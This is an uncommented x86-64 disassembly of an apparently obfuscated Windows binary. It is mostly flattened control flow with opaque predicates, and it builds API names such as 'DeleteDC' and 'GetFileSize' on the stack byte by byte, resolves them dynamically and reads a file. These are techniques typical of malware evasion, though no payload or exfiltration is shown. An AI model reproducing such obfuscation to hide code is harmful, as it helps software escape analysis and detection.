mov eax, 0x44f99e44
mov ecx, 0x76f2c7ce
cmovne eax, ecx
mov ecx, dword [rbp + 0xe0]
jmp 0x14001f5d5
cmp eax, 0x32f6771
je 0x14001f4f0
cmp eax, 0x3df5cc5
jne 0x140017570
mov eax, dword [0x140082018]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and eax, 0x1f37f414
and ecx, 0xe0c80beb
or ecx, eax
mov eax, ecx
xor eax, 0xe0c80beb
xor ecx, 0xd378410
and ecx, 0x2df78f19
mov edx, eax
and edx, 0xd20870e6
or edx, ecx
xor edx, 0xd20870e7
and eax, 0xfffffffe
or eax, edx
cmp eax, 0xffffffff
sete al
setne cl
cmp dword [0x14008201c], 0xa
setl dl
xor cl, dl
mov ebx, edx
xor bl, al
or dl, al
xor dl, 1
or dl, bl
mov eax, ecx
xor al, dl
test dl, dl
mov edx, 0x9bc6676f
mov ebx, 0xa0b1e30d
cmovne edx, ebx
test cl, cl
cmovne edx, ebx
test al, al
mov eax, 0x9bc6676f
jmp 0x14001f4e8
cmp eax, 0x76f2c7ce
je 0x14001f55a
cmp eax, 0x772c2a2c
jne 0x140017570
mov eax, dword [0x140082018]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
xor eax, ecx
test eax, ecx
sete al
cmp dword [0x14008201c], 0xa
setl cl
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, dl
mov eax, 0x8bf4b4f1
mov ebx, 0x58687a79
cmovne eax, ebx
test cl, cl
mov ecx, 0x8bf4b4f1
jmp 0x140017560
cmp eax, 0x3f8e9c3e
je 0x14001f5ca
cmp eax, 0x428b1df2
jne 0x140017570
mov eax, dword [0x140082018]
mov ecx, dword [0x14008201c]
lea ebx, [rax - 1]
imul ebx, eax
mov edx, ebx
not edx
and ebx, 0xc940d4ee
mov eax, edx
and eax, 0x36bf2b11
or eax, ebx
xor eax, 0x36bf2b10
and edx, 0xfffffffe
or edx, eax
cmp edx, 0xffffffff
sete r8b
setne al
cmp ecx, 9
setg bl
cmp ecx, 0xa
setl cl
mov edx, ecx
xor dl, al
and dl, cl
and bl, r8b
and cl, al
or cl, bl
mov eax, edx
xor al, cl
mov ebx, 0x6d955a3
mov edi, 0xbf5c645c
cmovne ebx, edi
test cl, cl
mov eax, ebx
cmovne eax, edi
mov ecx, dword [rbp - 0x4c]
mov dword [rbp + 0x198], ecx
jmp 0x14001e640
cmp eax, 0x83ee6732
je 0x14001f5e8
cmp eax, 0x84bf5f61
jne 0x140017570
mov eax, dword [0x140082018]
mov ecx, dword [0x14008201c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xfffffffe
and edx, 1
or edx, ebx
xor eax, edx
test eax, edx
setne al
sete dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
and dl, cl
and bl, al
or bl, dl
mov edx, ecx
and dl, al
xor cl, al
or cl, dl
mov eax, ecx
xor al, bl
test cl, cl
mov ecx, 0x2eba2588
mov edx, 0x28431fb5
cmovne ecx, edx
test bl, bl
cmove ecx, edx
test al, al
mov eax, 0x2eba2588
jmp 0x140017565
cmp eax, 0xd0bcc7fb
je 0x14001f64a
cmp eax, 0xd0f8a17c
jne 0x140017570
mov eax, dword [0x140082018]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0x38585914
and ecx, 0xc7a7a6eb
or ecx, edx
xor ecx, 0x38585915
or ecx, eax
cmp ecx, 0xffffffff
sete al
setne cl
cmp dword [0x14008201c], 0xa
setl dl
xor cl, dl
mov ebx, eax
xor bl, dl
xor cl, 1
or dl, al
xor dl, 1
or dl, cl
mov ecx, edx
xor cl, bl
test dl, dl
mov eax, 0xca152a6d
mov edx, 0xe87b6fc
cmovne eax, edx
test bl, bl
cmove eax, edx
test cl, cl
mov ecx, 0xca152a6d
jmp 0x14001f199
cmp eax, 0x4d830ac9
je 0x14001f6b2
cmp eax, 0x4def3aff
jne 0x140017570
mov eax, dword [0x140082018]
mov ecx, dword [0x14008201c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
and eax, 0x31818cd1
and edx, 0xce7e732e
or edx, eax
mov eax, edx
xor eax, 0xce7e732e
and eax, 0xfffffffe
xor edx, 0x31818cd0
or edx, eax
cmp edx, 0xffffffff
sete al
setne dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
or cl, dl
xor bl, al
mov eax, ecx
xor al, bl
test bl, bl
mov edx, 0x9ab7b3d7
mov ebx, 0xa3da1a62
cmovne edx, ebx
test cl, cl
mov ecx, 0x9ab7b3d7
jmp 0x14001df26
cmp eax, 0xc985a2c
je 0x14001f73c
cmp eax, 0xcb127d7
jne 0x140017570
mov eax, dword [0x140082018]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0x506ca70f
and ecx, 0xaf9358f0
or ecx, edx
xor ecx, 0xaf9358f1
xor eax, ecx
test eax, ecx
setne al
cmp dword [0x14008201c], 9
setg cl
mov edx, ecx
or dl, al
xor cl, al
mov eax, edx
xor al, cl
mov ebx, 0xf383f294
mov eax, 0xe1fb84e1
cmovne ebx, eax
test cl, cl
mov eax, ebx
mov ecx, 0xf383f294
cmovne eax, ecx
jmp 0x14001c018
cmp eax, 0xa41ae7de
je 0x14001f909
cmp eax, 0xa4aa0540
jne 0x140017570
mov eax, 0xb72343b4
cmp eax, 0x8481398
jg 0x1400176a0
jmp 0x14001757b
cmp eax, 0xf59a8c52
je 0x14001fba0
cmp eax, 0xf5d5408d
jne 0x140017570
mov ecx, dword [0x140082018]
mov edi, dword [0x14008201c]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0x967b9144
and edx, 0x69846ebb
or edx, ecx
mov ecx, edx
xor ecx, 0x69846eba
and ecx, 0xfffffffe
xor edx, 0x967b9145
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x256e9da3
and edx, 0xda91625c
or edx, ecx
xor edx, 0xda91625c
sete cl
setne al
cmp edi, 0xa
setl bl
cmp edi, 9
setg dl
and cl, dl
or dl, al
and bl, al
or bl, cl
mov ecx, edx
xor cl, bl
test bl, bl
mov eax, 0x2aac1fdc
mov ebx, 0x62402165
cmovne eax, ebx
test dl, dl
mov edx, 0x2aac1fdc
jmp 0x14001ee46
cmp eax, 0x2aac1fdc
je 0x14001fc0a
cmp eax, 0x2c20e400
jne 0x140017570
mov ecx, dword [0x140082018]
mov edi, dword [0x14008201c]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0xb0dd698e
and edx, 0x4f229671
or edx, ecx
mov ecx, edx
xor ecx, 0x4f229671
xor edx, 0x1081408c
and edx, 0x5da1d6dd
mov ebx, ecx
and ebx, 0xa25e2922
or ebx, edx
xor ebx, 0xa25e2923
and ecx, 0xfffffffe
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x610d8f64
and ecx, 0x9ef2709b
or ecx, edx
xor ecx, 0x9ef2709b
sete al
setne dl
cmp edi, 0xa
setl bl
cmp edi, 9
setg cl
or cl, dl
xor bl, al
mov eax, ecx
xor al, bl
mov edx, 0xcae31e45
mov eax, 0xfc391997
cmovne edx, eax
test bl, bl
mov eax, edx
mov ebx, 0xcae31e45
cmovne eax, ebx
mov ebx, dword [rbp - 0x1c]
mov dword [rbp + 0x190], ebx
jmp 0x14001ef39
cmp eax, 0x99844145
je 0x14001fc1f
cmp eax, 0x99d74727
jne 0x140017570
mov eax, dword [0x140082018]
mov ecx, dword [0x14008201c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xfffffffe
and edx, 1
or edx, ebx
xor eax, edx
test eax, edx
sete al
setne dl
cmp ecx, 9
setg bl
cmp ecx, 0xa
setl cl
and dl, cl
and bl, al
or bl, dl
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, bl
mov eax, 0x3f5484aa
mov edx, 0x7b786f1d
cmovne eax, edx
test cl, cl
mov ecx, 0x3f5484aa
jmp 0x14001e1a4
cmp eax, 0xddf9089b
je 0x14001fd7e
cmp eax, 0xde5eedd7
jne 0x140017570
mov eax, dword [0x140082018]
mov ecx, dword [0x14008201c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
and eax, 0xfffffffe
xor edx, 1
or edx, eax
mov eax, edx
not eax
and eax, 0xf378f644
and edx, 0xc8709bb
or edx, eax
xor edx, 0xc8709bb
setne al
sete dl
cmp ecx, 9
setg bl
cmp ecx, 0xa
setl cl
xor cl, dl
mov edx, ebx
and dl, al
xor bl, al
or bl, dl
mov edx, ebx
xor dl, cl
test bl, bl
mov eax, 0x90b9ede0
mov ebx, 0x43bb7fab
cmovne eax, ebx
test cl, cl
cmove eax, ebx
test dl, dl
mov ecx, 0x90b9ede0
jmp 0x14001f199
cmp eax, 0x5c7c7ff0
je 0x14001fd93
cmp eax, 0x5db919d8
jne 0x140017570
mov eax, dword [0x140082018]
mov ecx, dword [0x14008201c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xfffffffe
and edx, 1
or edx, ebx
not edx
or edx, eax
cmp edx, 0xffffffff
setne al
sete dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
and dl, cl
and bl, al
or bl, dl
mov edx, ecx
and dl, al
xor cl, al
or cl, dl
mov eax, ecx
xor al, bl
mov edx, 0xd0f8a17c
mov eax, 0xe87b6fc
cmovne edx, eax
test cl, cl
mov eax, 0xd0f8a17c
jmp 0x14001cf3a
cmp eax, 0x19c504f1
je 0x14001fdc7
cmp eax, 0x1aa7b900
jne 0x140017570
mov eax, 0x31df4b0a
cmp eax, 0x8481398
jg 0x1400176a0
jmp 0x14001757b
mov eax, dword [rbp + 0x1a4]
mov eax, 0x4d830ac9
cmp eax, 0x8481398
jg 0x1400176a0
jmp 0x14001757b
mov eax, dword [0x140082018]
mov ecx, dword [0x14008201c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0x626a1bc9
and edx, 0x9d95e436
or edx, ebx
xor edx, 0x9d95e437
xor eax, edx
test eax, edx
setne r8b
sete al
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
mov edx, ebx
or bl, al
and al, cl
and dl, r8b
or dl, al
xor cl, r8b
xor bl, 1
or bl, cl
mov ecx, ebx
xor cl, dl
test bl, bl
mov eax, 0xd4e57b84
mov ebx, 0xa4aa0540
cmovne eax, ebx
test dl, dl
cmove eax, ebx
test cl, cl
mov ecx, 0xd4e57b84
jmp 0x14001f199
cmp byte [rbp + 0x107], 0
mov eax, 0x52758b91
mov ecx, 0x5db919d8
cmovne eax, ecx
mov ecx, dword [rbp + 0x100]
mov dword [rbp - 0x48], ecx
cmp eax, 0x8481398
jg 0x1400176a0
jmp 0x14001757b
mov rax, qword [rbp + 0x18]
mov rdx, qword [rbp + 0x18]
movaps xmmword [rdx], xmm6
movaps xmmword [rdx + 0x20], xmm6
movaps xmmword [rdx + 0x10], xmm6
mov word [rdx + 0x30], 0
mov byte [rdx], 0x44
mov rax, qword [rbp + 0x18]
mov byte [rax + 1], 0x65
mov rax, qword [rbp + 0x18]
mov byte [rax + 2], 0x6c
mov rax, qword [rbp + 0x18]
mov byte [rax + 3], 0x65
mov rax, qword [rbp + 0x18]
mov byte [rax + 4], 0x74
mov rax, qword [rbp + 0x18]
mov byte [rax + 5], 0x65
mov rax, qword [rbp + 0x18]
mov byte [rax + 6], 0x4f
mov rax, qword [rbp + 0x18]
mov byte [rax + 7], 0x62
mov rax, qword [rbp + 0x18]
mov byte [rax + 8], 0x6a
mov rax, qword [rbp + 0x18]
mov byte [rax + 9], 0x65
mov rax, qword [rbp + 0x18]
mov byte [rax + 0xa], 0x63
mov rax, qword [rbp + 0x18]
mov byte [rax + 0xb], 0x74
mov rcx, qword [0x140081b28]
sub rsp, 0x20
call r14
add rsp, 0x20
mov rcx, qword [rbp + 0xa0]
sub rsp, 0x20
call rax
add rsp, 0x20
mov rax, qword [rbp + 0x20]
mov rdx, qword [rbp + 0x20]
movaps xmmword [rdx], xmm6
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
mov byte [rdx], 0x44
mov rax, qword [rbp + 0x20]
mov byte [rax + 1], 0x65
mov rax, qword [rbp + 0x20]
mov byte [rax + 2], 0x6c
mov rax, qword [rbp + 0x20]
mov byte [rax + 3], 0x65
mov rax, qword [rbp + 0x20]
mov byte [rax + 4], 0x74
mov rax, qword [rbp + 0x20]
mov byte [rax + 5], 0x65
mov rax, qword [rbp + 0x20]
mov byte [rax + 6], 0x44
mov rax, qword [rbp + 0x20]
mov byte [rax + 7], 0x43
mov rcx, qword [0x140081b28]
sub rsp, 0x20
call r14
add rsp, 0x20
mov rcx, qword [rbp + 0x90]
sub rsp, 0x20
call rax
add rsp, 0x20
mov rax, qword [rbp + 0x28]
mov rdx, qword [rbp + 0x28]
movaps xmmword [rdx], xmm6
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
mov byte [rdx], 0x52
mov rax, qword [rbp + 0x28]
mov byte [rax + 1], 0x65
mov rax, qword [rbp + 0x28]
mov byte [rax + 2], 0x6c
mov rax, qword [rbp + 0x28]
mov byte [rax + 3], 0x65
mov rax, qword [rbp + 0x28]
mov byte [rax + 4], 0x61
mov rax, qword [rbp + 0x28]
mov byte [rax + 5], 0x73
mov rax, qword [rbp + 0x28]
mov byte [rax + 6], 0x65
mov rax, qword [rbp + 0x28]
mov byte [rax + 7], 0x44
mov rax, qword [rbp + 0x28]
mov byte [rax + 8], 0x43
mov rcx, qword [0x140081b20]
sub rsp, 0x20
call r14
add rsp, 0x20
mov rcx, qword [rbp + 0x58]
mov rdx, qword [rbp + 0x68]
sub rsp, 0x20
call rax
add rsp, 0x20
mov rax, qword [rbp + 0x30]
mov rdx, qword [rbp + 0x30]
movaps xmmword [rdx], xmm6
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
mov byte [rdx], 0x43
mov rax, qword [rbp + 0x30]
mov byte [rax + 1], 0x6f
mov rax, qword [rbp + 0x30]
mov byte [rax + 2], 0x55
mov rax, qword [rbp + 0x30]
mov byte [rax + 3], 0x6e
mov rax, qword [rbp + 0x30]
mov byte [rax + 4], 0x69
mov rax, qword [rbp + 0x30]
mov byte [rax + 5], 0x6e
mov rax, qword [rbp + 0x30]
mov byte [rax + 6], 0x69
mov rax, qword [rbp + 0x30]
mov byte [rax + 7], 0x74
mov rax, qword [rbp + 0x30]
mov byte [rax + 8], 0x69
mov rax, qword [rbp + 0x30]
mov byte [rax + 9], 0x61
mov rax, qword [rbp + 0x30]
mov byte [rax + 0xa], 0x6c
mov rax, qword [rbp + 0x30]
mov byte [rax + 0xb], 0x69
mov rax, qword [rbp + 0x30]
mov byte [rax + 0xc], 0x7a
mov rax, qword [rbp + 0x30]
mov byte [rax + 0xd], 0x65
mov rcx, qword [0x140081b30]
sub rsp, 0x20
call r14
call rax
add rsp, 0x20
mov eax, dword [rbp + 0x1a0]
mov eax, 0xa1d536f
cmp eax, 0x8481398
jg 0x1400176a0
jmp 0x14001757b
mov rax, qword [rbp + 0x10]
mov rax, qword [rbp + 0x10]
mov qword [rax], 0
mov rax, qword [rbp]
mov rcx, qword [rax]
mov rax, qword [rcx]
mov rdx, qword [rbp + 0x10]
sub rsp, 0x20
xor r8d, r8d
call qword [rax + 0x50]
add rsp, 0x20
mov eax, dword [0x140082018]
mov ecx, dword [0x14008201c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
and eax, 0x7377197a
and edx, 0x8c88e685
or edx, eax
mov eax, edx
xor eax, 0x8c88e684
and eax, 0xfffffffe
xor edx, 0x7377197b
or edx, eax
cmp edx, 0xffffffff
sete r8b
setne dl
cmp ecx, 9
setg bl
cmp ecx, 0xa
setl cl
mov eax, ecx
xor al, dl
and al, cl
and bl, r8b
and cl, dl
or cl, bl
mov edx, eax
xor dl, cl
test cl, cl
mov ecx, 0x6fa9d85b
mov ebx, 0xd73f0213
cmovne ecx, ebx
test al, al
mov eax, 0x6fa9d85b
jmp 0x14001f30b
mov eax, dword [0x140082018]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and eax, 0xb4ea1c
and ecx, 0xff4b15e3
or ecx, eax
mov eax, ecx
xor eax, 0xff4b15e3
xor ecx, 0x348210
and ecx, 0xb9358250
mov edx, eax
and edx, 0x46ca7daf
or edx, ecx
xor edx, 0x46ca7dae
and eax, 0xfffffffe
or eax, edx
mov ecx, eax
not ecx
and ecx, 0xe5fee30a
and eax, 0x1a011cf5
or eax, ecx
xor eax, 0x1a011cf5
sete al
cmp dword [0x14008201c], 0xa
setl cl
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, dl
mov eax, 0x962cceb2
mov ebx, 0x4f921417
cmovne eax, ebx
test cl, cl
mov ecx, 0x962cceb2
jmp 0x140017560
mov ecx, dword [0x140082018]
mov eax, dword [0x14008201c]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0x845b103f
and edx, 0x7ba4efc0
or edx, ecx
mov ecx, edx
xor ecx, 0x7ba4efc0
xor edx, 0x8050003d
and edx, 0xf9f461fd
mov ebx, ecx
and ebx, 0x60b9e02
or ebx, edx
xor ebx, 0x60b9e03
and ecx, 0xfffffffe
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x6a7b21aa
and ecx, 0x9584de55
or ecx, edx
xor ecx, 0x9584de55
sete cl
setne dl
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
and al, dl
and cl, bl
or cl, al
mov eax, ebx
and al, dl
xor bl, dl
or bl, al
mov eax, ebx
xor al, cl
mov eax, 0xbd1bf823
mov edx, 0x744bc9fd
cmovne eax, edx
test bl, bl
mov edx, 0xbd1bf823
jmp 0x14001fe1f
cmp byte [rbp + 0xf7], 0
mov eax, 0x428b1df2
mov ecx, 0xfb825d3d
cmovne eax, ecx
mov ecx, dword [rbp + 0xf0]
jmp 0x14001d02d
mov eax, dword [0x140082018]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
not ecx
or ecx, eax
cmp ecx, 0xffffffff
sete al
cmp dword [0x14008201c], 0xa
setl cl
xor al, cl
mov edx, eax
not dl
and dl, cl
mov ecx, edx
xor cl, al
mov ecx, 0xb6a09e41
mov ebx, 0x4d830ac9
jmp 0x14001f18d
mov eax, dword [0x140082018]
mov ecx, dword [0x14008201c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
and eax, 0xfffffffe
xor edx, 1
or edx, eax
mov eax, edx
not eax
and eax, 0xa40120a8
and edx, 0x5bfedf57
or edx, eax
xor edx, 0x5bfedf57
sete r8b
setne al
cmp ecx, 9
setg bl
cmp ecx, 0xa
setl cl
mov edx, ecx
xor dl, al
and dl, cl
and bl, r8b
and cl, al
or cl, bl
mov eax, edx
xor al, cl
mov ebx, 0xf2bda013
mov edi, 0xc22d4ded
cmovne ebx, edi
test cl, cl
mov eax, ebx
cmovne eax, edi
jmp 0x14001e640
mov eax, dword [0x140082018]
mov ecx, dword [0x14008201c]
lea ebx, [rax - 1]
imul ebx, eax
mov edx, ebx
not edx
and ebx, 0x7bcf213a
mov eax, edx
and eax, 0x8430dec5
or eax, ebx
xor eax, 0x8430dec4
and edx, 0xfffffffe
or edx, eax
cmp edx, 0xffffffff
sete r8b
setne dl
cmp ecx, 9
setg bl
cmp ecx, 0xa
setl cl
mov eax, ecx
xor al, dl
and al, cl
and bl, r8b
and cl, dl
or cl, bl
mov edx, eax
xor dl, cl
mov edx, 0x8d59a8fe
mov ebx, 0x731442a7
jmp 0x14001d682
mov eax, 0xc28b849
cmp eax, 0x8481398
jg 0x1400176a0
jmp 0x14001757b
mov eax, dword [0x140082018]
mov ecx, dword [0x14008201c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xfb9944cf
and edx, 0x466bb30
or edx, ebx
xor edx, 0x466bb31
xor eax, edx
test eax, edx
sete r8b
setne dl
cmp ecx, 9
setg bl
cmp ecx, 0xa
setl cl
mov eax, ecx
xor al, dl
and al, cl
and bl, r8b
and cl, dl
or cl, bl
mov edx, eax
xor dl, cl
mov edx, 0xfbdb0ed6
mov ebx, 0xf6aaf957
jmp 0x14001d682
mov ecx, dword [0x140082018]
mov eax, dword [0x14008201c]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0x3e91f848
and edx, 0xc16e07b7
or edx, ecx
mov ecx, edx
xor ecx, 0xc16e07b6
and ecx, 0xfffffffe
xor edx, 0x3e91f849
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x91768e88
and edx, 0x6e897177
or edx, ecx
xor edx, 0x6e897177
sete r8b
setne dl
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
mov ecx, eax
xor cl, dl
and cl, al
and bl, r8b
and al, dl
or al, bl
mov edx, eax
xor dl, cl
test al, al
mov eax, 0xfbf27773
mov ebx, 0xb7713f99
cmovne eax, ebx
test cl, cl
mov ecx, 0xfbf27773
cmove eax, ecx
test dl, dl
jmp 0x14001edb0
mov ecx, dword [0x140082018]
mov eax, dword [0x14008201c]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0xa8bb5b3b
and edx, 0x5744a4c4
or edx, ecx
mov ebx, edx
xor ebx, 0x5744a4c4
xor edx, 0x82a1022
and edx, 0xb6eb026
mov ecx, ebx
and ecx, 0xf4914fd9
or ecx, edx
xor ecx, 0xf4914fd8
and ebx, 0xfffffffe
or ebx, ecx
cmp ebx, 0xffffffff
sete cl
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
and cl, al
or al, dl
and bl, dl
or bl, cl
mov ecx, eax
xor cl, bl
mov ecx, 0x9e5705af
mov edx, 0xb1a69c0c
cmovne ecx, edx
test bl, bl
mov edx, ecx
mov ebx, 0x9e5705af
cmovne edx, ebx
test al, al
cmovne edx, ecx
jmp 0x14001fe27
mov ecx, dword [0x140082018]
mov edi, dword [0x14008201c]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0xbb54d7e0
and edx, 0x44ab281f
or edx, ecx
mov ebx, edx
xor ebx, 0x44ab281f
xor edx, 0xa4410c0
and edx, 0x4ec718d8
mov ecx, ebx
and ecx, 0xb138e727
or ecx, edx
xor ecx, 0xb138e726
and ebx, 0xfffffffe
or ebx, ecx
cmp ebx, 0xffffffff
sete cl
setne al
cmp edi, 0xa
setl bl
cmp edi, 9
setg dl
and cl, dl
or dl, al
and bl, al
or bl, cl
mov eax, edx
xor al, bl
mov ecx, 0x43d735e6
mov eax, 0x50d901c0
cmovne ecx, eax
test bl, bl
mov eax, ecx
mov ebx, 0x43d735e6
jmp 0x14001d0bd
mov rax, qword [rbp - 0x10]
mov rcx, qword [rax]
mov rax, qword [rcx]
sub rsp, 0x20
call qword [rax + 0x10]
add rsp, 0x20
mov rax, qword [rbp + 0xd8]
mov eax, 0x5f374bc8
cmp eax, 0x8481398
jg 0x1400176a0
jmp 0x14001757b
mov eax, 0x3b6e3720
cmp eax, 0x8481398
jg 0x1400176a0
jmp 0x14001757b
mov eax, 0x3e4e9c83
cmp eax, 0x8481398
jg 0x1400176a0
jmp 0x14001757b
mov rax, qword [rbp + 0x168]
mov eax, dword [0x140082018]
mov ecx, dword [0x14008201c]
lea ebx, [rax - 1]
imul ebx, eax
mov edx, ebx
not edx
and ebx, 0xc888697e
mov eax, edx
and eax, 0x37779681
or eax, ebx
xor eax, 0x37779680
and edx, 0xfffffffe
or edx, eax
cmp edx, 0xffffffff
sete r8b
setne dl
cmp ecx, 9
setg bl
cmp ecx, 0xa
setl cl
mov eax, ecx
xor al, dl
and al, cl
and bl, r8b
and cl, dl
or cl, bl
mov edx, eax
xor dl, cl
test cl, cl
mov ecx, 0x97d75018
mov ebx, 0xa758492e
cmovne ecx, ebx
test al, al
mov eax, 0x97d75018
jmp 0x14001f30b
mov eax, dword [0x140082018]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
not ecx
or ecx, eax
cmp ecx, 0xffffffff
sete al
cmp dword [0x14008201c], 0xa
setl cl
xor al, cl
mov edx, eax
not dl
and dl, cl
mov ecx, edx
xor cl, al
mov ecx, 0xb8631534
mov ebx, 0x3b958a0c
jmp 0x14001f18d
mov eax, dword [0x140082018]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0x4c59bbb7
and ecx, 0xb3a64448
or ecx, edx
xor ecx, 0x4c59bbb6
or ecx, eax
cmp ecx, 0xffffffff
sete al
cmp dword [0x14008201c], 0xa
setl cl
xor al, cl
mov edx, eax
xor dl, 1
and cl, dl
xor dl, cl
test al, al
mov eax, 0xd454939
mov ebx, 0xd0bcc7fb
cmovne eax, ebx
test cl, cl
mov ecx, 0xd454939
cmove eax, ecx
test dl, dl
cmove eax, ebx
cmp eax, 0x8481398
jg 0x1400176a0
jmp 0x14001757b
mov ecx, dword [0x140082018]
mov eax, dword [0x14008201c]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0x9e798516
and edx, 0x61867ae9
or edx, ecx
mov ebx, edx
xor ebx, 0x61867ae9
xor edx, 0x80518414
and edx, 0xc1d196d5
mov ecx, ebx
and ecx, 0x3e2e692a
or ecx, edx
xor ecx, 0x3e2e692b
and ebx, 0xfffffffe
or ebx, ecx
cmp ebx, 0xffffffff
sete cl
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
or al, dl
xor bl, cl
mov ecx, ebx
xor cl, al
test bl, bl
mov edx, 0xc985a2c
mov ebx, 0x36c2797e
cmovne edx, ebx
test al, al
mov eax, 0xc985a2c
jmp 0x14001dbe4
mov rax, qword [rbp + 0x38]
mov rdx, qword [rbp + 0x38]
movaps xmmword [rdx], xmm6
movaps xmmword [rdx + 0x20], xmm6
movaps xmmword [rdx + 0x10], xmm6
mov word [rdx + 0x30], 0
mov byte [rdx], 0x47
mov rax, qword [rbp + 0x38]
mov byte [rax + 1], 0x65
mov rax, qword [rbp + 0x38]
mov byte [rax + 2], 0x74
mov rax, qword [rbp + 0x38]
mov byte [rax + 3], 0x46
mov rax, qword [rbp + 0x38]
mov byte [rax + 4], 0x69
mov rax, qword [rbp + 0x38]
mov byte [rax + 5], 0x6c
mov rax, qword [rbp + 0x38]
mov byte [rax + 6], 0x65
mov rax, qword [rbp + 0x38]
mov byte [rax + 7], 0x53
mov rax, qword [rbp + 0x38]
mov byte [rax + 8], 0x69
mov rax, qword [rbp + 0x38]
mov byte [rax + 9], 0x7a
mov rax, qword [rbp + 0x38]
mov byte [rax + 0xa], 0x65
mov rcx, qword [0x140081b08]
sub rsp, 0x20
call r14
add rsp, 0x20
mov rcx, qword [rbp + 0x160]
sub rsp, 0x20
xor edx, edx
call rax
add rsp, 0x20
mov rsi, rax
movabs rcx, 0x123d01fc52f73f31
add rax, rcx
movabs rdx, 0x4f085d1ddfafd5e7
sub rax, rdx
sub rax, rcx
lea rdi, [rax + rdx]
add rdi, 0xa
mov rax, rdi
not rax
movabs rcx, 0x530a72c87b2537ee
and rax, rcx
not rcx
and rdi, rcx
or rdi, rax
xor rdi, rcx
mov rax, rdi
not rax
movabs rdx, 0x9782fbc11f73a051
mov rcx, rdx
not rcx
and rax, rdx
and rcx, rdi
or rcx, rax
movabs rax, 0x687d043e1f73a051
xor rcx, rax
movabs rax, 0xffffffff00000000
and rdi, rax
or rdi, rcx
mov rax, rdi
not rax
movabs rcx, 0x45d4a4c331dc7578
and rax, rcx
not rcx
and rdi, rcx
or rdi, rax
xor rdi, rcx
sub rsp, 0x20
mov rcx, rdi
call fcn.14005ff54
add rsp, 0x20
mov rbx, rax
sub rsp, 0x20
mov rcx, rax
xor edx, edx
mov r8, rdi
call fcn.140059c80
add rsp, 0x20
mov rcx, qword [rbp + 0x160]
sub rsp, 0x30
mov qword [rsp + 0x20], 0
mov rdx, rbx
mov r8d, esi
xor r9d, r9d
call qword [0x1400820e8]
add rsp, 0x30
mov eax, dword [0x140082018]
mov ecx, dword [0x14008201c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xc4c6518
and edx, 0xf3b39ae7
or edx, ebx
xor edx, 0xf3b39ae6
xor eax, edx
test eax, edx
sete al
setne dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
and al, cl
or cl, dl
and bl, dl
or bl, al
mov eax, ecx
xor al, bl
mov eax, 0xe851126
mov edx, 0x9efaebab
cmovne eax, edx
test bl, bl
mov edx, eax
mov ebx, 0xe851126
jmp 0x14001f4e3
mov eax, dword [0x140082018]
mov ecx, dword [0x14008201c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0x2cf0b532
and edx, 0xd30f4acd
or edx, ebx
xor edx, 0xd30f4acc
xor eax, edx
test eax, edx
setne al
cmp ecx, 9
setg dl
cmp ecx, 0xa
setl cl
xor cl, al
mov ebx, edx
and bl, al
